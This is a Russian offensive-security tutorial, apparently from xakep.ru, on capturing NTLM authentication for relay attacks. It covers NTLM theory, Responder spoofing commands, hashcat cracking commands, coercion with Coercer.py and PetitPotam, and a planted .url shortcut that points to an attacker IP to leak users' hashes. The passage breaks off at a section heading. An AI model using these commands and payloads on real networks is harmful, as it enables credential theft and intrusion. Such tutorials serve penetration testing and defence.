Гид по NTLM Relay. Захватываем NTLM-аутентификацию для Relay-атаки

Содержание статьи

  • Теория
  • Захват с Responder
  • Захват NTLM-аутентификации для Relay-атак
  • SMB (445/TCP)
  • Coerce-атаки
  • Ярлыки
  • Триггерим вручную
  • MITM
  • RPC (135/TCP)
  • SweetPotato
  • Триггерим вручную
  • Пример получения аутентификации на DCE RPC
  • HTTP (80/TCP)
  • Coerce-атаки
  • PrivExchange
  • Стриггерить вручную
  • RemotePotato0
  • WCF (9389/TCP)
  • Триггерим вручную
  • RAW (произвольный TCP)
  • Как получить NTLM-аутентификацию, если мешает NAT или МЭ
  • Бонус № 1
  • Бонус № 2
  • Защита
  • Выводы

По­чему мы до сих пор встре­чаем NTLM-аутен­тифика­цию во мно­гих инфраструк­турах? Потому что Windows не может сущес­тво­вать без нее. Но у NTLM-аутен­тифика­ции есть целый ряд проб­лем, которы­ми поль­зуют­ся зло­умыш­ленни­ки. Одна из них — это воз­можность Relay-атак. В этой статье мы обсу­дим спо­собы зах­вата аутен­тифика­ции для про­веде­ния Relay-ата­ки.
 

Теория

NTLM — это про­токол про­вер­ки под­линнос­ти в сетях Windows NT. На самом деле он переко­чевал и в дру­гие домены, нап­ример ALD или FreeIPA. Что­бы не закапы­вать­ся глу­боко в теорию, пос­тара­юсь объ­яснить прин­цип его работы на прос­той схе­ме.

Схе­ма NTLM-аутен­тифика­ции

  • Кли­ент ини­циирует про­цесс про­хож­дения аутен­тифика­ции спе­циаль­ным сооб­щени­ем.
  • Сер­вер отправ­ляет некото­рое слу­чай­ное зна­чение кли­енту.
  • Кли­ент шиф­рует слу­чай­ное зна­чение сво­им сек­ретом и отправ­ляет на про­вер­ку сер­веру.
  • В прос­том слу­чае все понят­но: есть кли­ент, есть сер­вер, кли­ент про­ходит аутен­тифика­цию по про­токо­лу NTLM. Добавим остро­ты в нашу схе­му: теперь у нас появ­ляет­ся некий ата­кующий.

    Схе­ма NTLM Relay

    Из схе­мы мы понима­ем, что ата­кующий на сво­ей рабочей стан­ции сра­зу раз­ворачи­вает и сер­вер, и кли­ент для вза­имо­дей­ствия по про­токо­лу NTLM. Для улуч­шения вос­при­ятия пояс­ним, что про­исхо­дит на схе­ме.

  • Кли­ент (жер­тва) отправ­ляет сооб­щение о начале NTLM-аутен­тифика­ции — NEGOTIATE. Ата­кующий перех­ватыва­ет это сооб­щение с помощью сво­его сер­вера.
  • Ата­кующий отправ­ляет со сво­его кли­ента сооб­щение о начале NTLM-аутен­тифика­ции — NEGOTIATE на целевой сер­вер.
  • С целево­го сер­вера ата­кующе­му при­ходит сооб­щение со слу­чай­ным зна­чени­ем — CHALLENGE.
  • Ата­кующий отправ­ляет сооб­щение с таким же CHALLENGE, как на треть­ем шаге, жер­тве.
  • Жер­тва шиф­рует CHALLENGE сво­им NTLM-хешем и отправ­ляет сер­веру.
  • Ата­кующий перех­ватыва­ет ответ жер­твы и пересы­лает его сер­веру. Ата­кующий успешно про­ходит аутен­тифика­цию на целевом сер­вере.
  • Схе­ма в целом понят­на, но при про­веде­нии ата­ки быва­ют нюан­сы, про которые нуж­но знать. Во‑пер­вых, NTLM не сущес­тву­ет в ваку­уме, ее исполь­зуют раз­личные про­токо­лы, такие как SMB, LDAP или RPC. Во‑вто­рых, при про­хож­дении аутен­тифика­ции могут исполь­зовать­ся раз­ные хеши: NetNTLMv1 и NetNTLMv2. Эти хеши име­ют свои осо­бен­ности, от которых может зависеть резуль­тат про­веде­ния ата­ки.

    Су­щес­тву­ет две вер­сии про­токо­ла: NTLMv1 и NTLMv2. В NTLMv1 исполь­зует­ся хеш NetNTLMv1, и он без­надеж­но уста­рел:

    • Из слу­чай­нос­тей там толь­ко CHALLENGE, который при­сыла­ет сер­вер. Зна­чит, при под­делке сер­вера мож­но под­делать и CHALLENGE и, соот­ветс­твен­но, под­готовить радуж­ные таб­лицы.
    • Так­же сущес­тву­ют методы вос­ста­нов­ления из хеша NetNTLMv1 хеша NT. Под­робнее об этом мож­но почитать на сай­те Crack.SH.
    • От­сутс­тву­ет про­вер­ка целос­тнос­ти сооб­щения (MIC — message integrity code), которая защища­ет от Relay-атак с одно­го про­токо­ла на дру­гой.

    Как мож­но догадать­ся, в NTLMv2 исполь­зует­ся хеш NetNTLMv2. В нем раз­работ­чики пос­тарались решить все проб­лемы про­токо­ла NTLMv1. Дей­стви­тель­но, мож­но ска­зать, что обра­тить этот хеш за разум­ное вре­мя хотя бы до NT пока не пред­став­ляет­ся воз­можным. Под­готовить радуж­ные таб­лицы не получит­ся, потому что к CHALLENGE добави­лась мет­ка вре­мени. А вот с Relay-ата­ками не все так однознач­но, но об этом мы погово­рим в дру­гой раз.

    В этой статье будут рас­смот­рены некото­рые вари­анты зах­вата NTLM-аутен­тифика­ции для реали­зации Relay-атак. В сле­дующей мы обсу­дим непос­редс­твен­но Relay-ата­ки.

    Са­мое прос­тое, что мож­но сде­лать с получен­ным NetNTLM-хешем любой вер­сии, — это подоб­рать пароль по сло­варю. Нап­ример, так:

    hashcat -a0 -m 5500 hash wordlist -r rules (NetNTLMv1)hashcat -a0 -m 5600 hash wordlist -r rules (NetNTLMv2) 

    Захват с Responder

    Один из самых прос­тых спо­собов получить NTLM-аутен­тифика­цию — спу­финг с помощью Responder (этот инс­тру­мент мож­но най­ти в Kali).

    info

    Мож­но запус­тить NetBIOS spoofing с помощью Responder и получен­ную аутен­тифика­цию исполь­зовать для Relay-ата­ки. Для это­го нуж­но прос­то отклю­чить в кон­фиге Responder сер­вера SMB, HTTP и DCE RPC, что­бы не воз­никло кон­флик­та с ntlmrelayx. Пос­ле это­го запус­тить Responder и ntlmrelayx.

    Уве­рен, что мно­гие уже исполь­зовали этот инс­тру­мент для зах­вата хешей, поэто­му крат­ко про­бежим­ся по основным фун­кци­ям. Responder пре­дос­тавля­ет поль­зовате­лю набор сер­веров для зах­вата и обра­бот­ки аутен­тифика­ций.

    Спи­сок сер­веров Responder

    Зах­ват хеша с Responder выг­лядит при­мер­но сле­дующим обра­зом.

    Зах­ват NetNTLM-хеша с помощью Responder

    Этот фор­мат при­годен для бру­та с помощью hashcat. Все зах­вачен­ные хеши Responder скла­дыва­ет в базу SQLite, рас­положен­ную по пути /usr/share/responder/Responder.db. Открыть базу мож­но сле­дующей коман­дой:

    sqlitebrowser /usr/share/responder/Responder.db

    Внеш­ний вид Responder.db

    Файл кон­фигура­ции Responder находит­ся здесь: /etc/responder/Responder.conf. Эта информа­ция может при­годить­ся, если надо будет вык­лючить или вклю­чить опре­делен­ный сер­вер. На скри­не ниже изоб­ражен файл кон­фигура­ций Responder.conf.

    Кон­фиг Responder.conf

    Responder незаме­ним для реали­зации спу­финг‑атак в сетях на осно­ве Windows. Пред­посыл­кой для выпол­нения ата­ки типа NetBIOS Spoofing слу­жит наличие в сети широко­веща­тель­ного тра­фика типа NBNS, LLMNR и mDNS. Тра­фик в сети мож­но прос­лушивать с помощью Wireshark, при­меняя филь­тр NBNS.

    NBNS-тра­фик в сети

    Вмес­то визу­аль­ного ана­лиза тра­фика можем прос­то запус­тить Responder в режиме ана­лиза сле­дующей коман­дой:

    responder -I eth0 -A

    Пос­ле запус­ка получа­ем при­мер­но такую кар­тину, можем про­бовать спу­финг.

    Responder в режиме ана­лиза

    Спу­финг‑ата­ки для зах­вата аутен­тифика­ции мож­но выпол­нять сле­дующей коман­дой:

    responder -I eth0 -dwF

    Ес­ли ата­ка уда­лась, перехо­дим к сле­дующим шагам.

    Ре­зуль­тат выпол­нения спу­финг‑ата­ки 

    Захват NTLM-аутентификации для Relay-атак

    Для выпол­нения Relay-атак удоб­нее все­го исполь­зовать ntlmrelayx из пакета impacket. В этом инс­тру­мен­те реали­зова­ны час­то встре­чающиеся про­токо­лы, с которых мож­но зах­ватить NTLM-аутен­тифика­цию. Вооб­ще, ntlmrelayx име­ет кли­ент‑сер­верную модель, и в этой статье мы как раз обсу­дим все RelayServers, реали­зован­ные в нем, и даже добавим новый, которо­го еще нет в основной вет­ке.

    info

    Сто­ит сра­зу отме­тить, что пор­ты, которые прос­лушива­ют сер­веры RelayServer ntlmrelayx, мож­но сме­нить. Это может при­годить­ся при реали­зации слож­ных атак.

     

    SMB (445/TCP)

    Про­токол SMB с точ­ки зре­ния Relay-атак наибо­лее изу­чен­ный и популяр­ный, поэто­му и спо­собов зах­вата аутен­тифика­ции с SMB боль­ше все­го. Вот нес­коль­ко вари­антов того, как это мож­но сде­лать:

  • Про­вес­ти coerce-ата­ку (при­нуж­дение к аутен­тифика­ции):
    — ано­ним­но — с помощью PetitPotam (CVE-2021-36942);
    — с учет­ной записью.
  • Исполь­зовать ярлы­ки на шарах с дос­тупом на запись:
  • ано­ним­но;
  • с учет­ной записью.
  • Стриг­герить вруч­ную.
  • Про­вес­ти MITM-ата­ку.
  •  

    Coerce-атаки

    С coerce-ата­ками мы сей­час под­робно раз­бирать­ся не будем. Сто­ит упо­мянуть, что если у нас есть учет­ная запись, то coerce уже не уяз­вимость, а осо­бен­ность архи­тек­туры.

    При­нуж­дать мож­но любым удоб­ным скрип­том, нап­ример Coercer.py — на сегод­няшний день он под­держи­вает поч­ти все извес­тные методы при­нуж­дения, в том чис­ле без учет­ной записи.

    info

    На самом деле coerce-ата­ки мож­но выпол­нять не толь­ко с 445-го пор­та, но и с 139, 135 и 4915-го пор­тов. Под­робнее об этом, а так­же о методах защиты от этих атак мож­но почитать на «Хаб­ре».

    При­мер исполь­зования Coercer.py показан на рисун­ке ниже.

    За­пуск Coercer.py

    В резуль­тате при­нуж­дения мы получа­ем NTLM-аутен­тифика­цию.

    Ре­зуль­тат выпол­нения coerce-ата­ки

    Важ­но отме­тить, что в резуль­тате выпол­нения такой ата­ки мы получа­ем имен­но ма­шин­ную учет­ную запись, это необ­ходимо пом­нить при пла­ниро­вании Relay-атак.

     

    Ярлыки

    Тех­ники с ярлычка­ми доволь­но ста­рые и дей­ствен­ные, называ­ются они slinky и scuffy. Если в сети при­сутс­тву­ют пап­ки, откры­тые на запись, обя­затель­но нуж­но положить в них ярлычки, которые будут ссы­лать­ся на IP-адрес ата­кующе­го. Как толь­ко поль­зователь откро­ет сетевую пап­ку с нашим ярлы­ком, нам при­летит NTLM-аутен­тифика­ция на SMB. Реали­зовать ата­ку мож­но нес­коль­кими спо­соба­ми:

    • при помощи ути­литы PyLnk 3 (есть в Kali);
    • при помощи CrackMapExec (тоже есть в Kali);
    • вруч­ную.

    Для экспе­римен­та выберем тре­тий вари­ант и будем исполь­зовать тех­нику, которая нем­ного отли­чает­ся от slinky и scuffy. Содер­жимое фай­ла с рас­ширени­ем .url будет при­мер­но сле­дующим:

    [InternetShortcut]URL=whateverWorkingDirectory=whateverIconFile=\<attacker IP>%USERNAME%.iconIconIndex=1

    По­ложи­ли ярлык в сетевую пап­ку, переш­ли в нее и получи­ли NTLM-аутен­тифика­цию, как показа­но на сле­дующих рисун­ках.

    Пе­рехо­дим в сетевую пап­ку, где рас­положен ярлык.

    По­ложи­ли ярлык в сетевую пап­ку

    Сра­зу же при­лета­ет NTLM-аутен­тифика­ция.

    Ре­зуль­тат раз­мещения ярлы­ка в сетевой пап­ке

    В при­мере хеш зах­вачен с помощью Responder, на прак­тике же мож­но запус­тить ntlmrelayx и выпол­нить Relay-ата­ку.

     

    Триггерим вручную

    Источник: xakep.ru

    Ответить

    Ваш адрес email не будет опубликован. Обязательные поля помечены *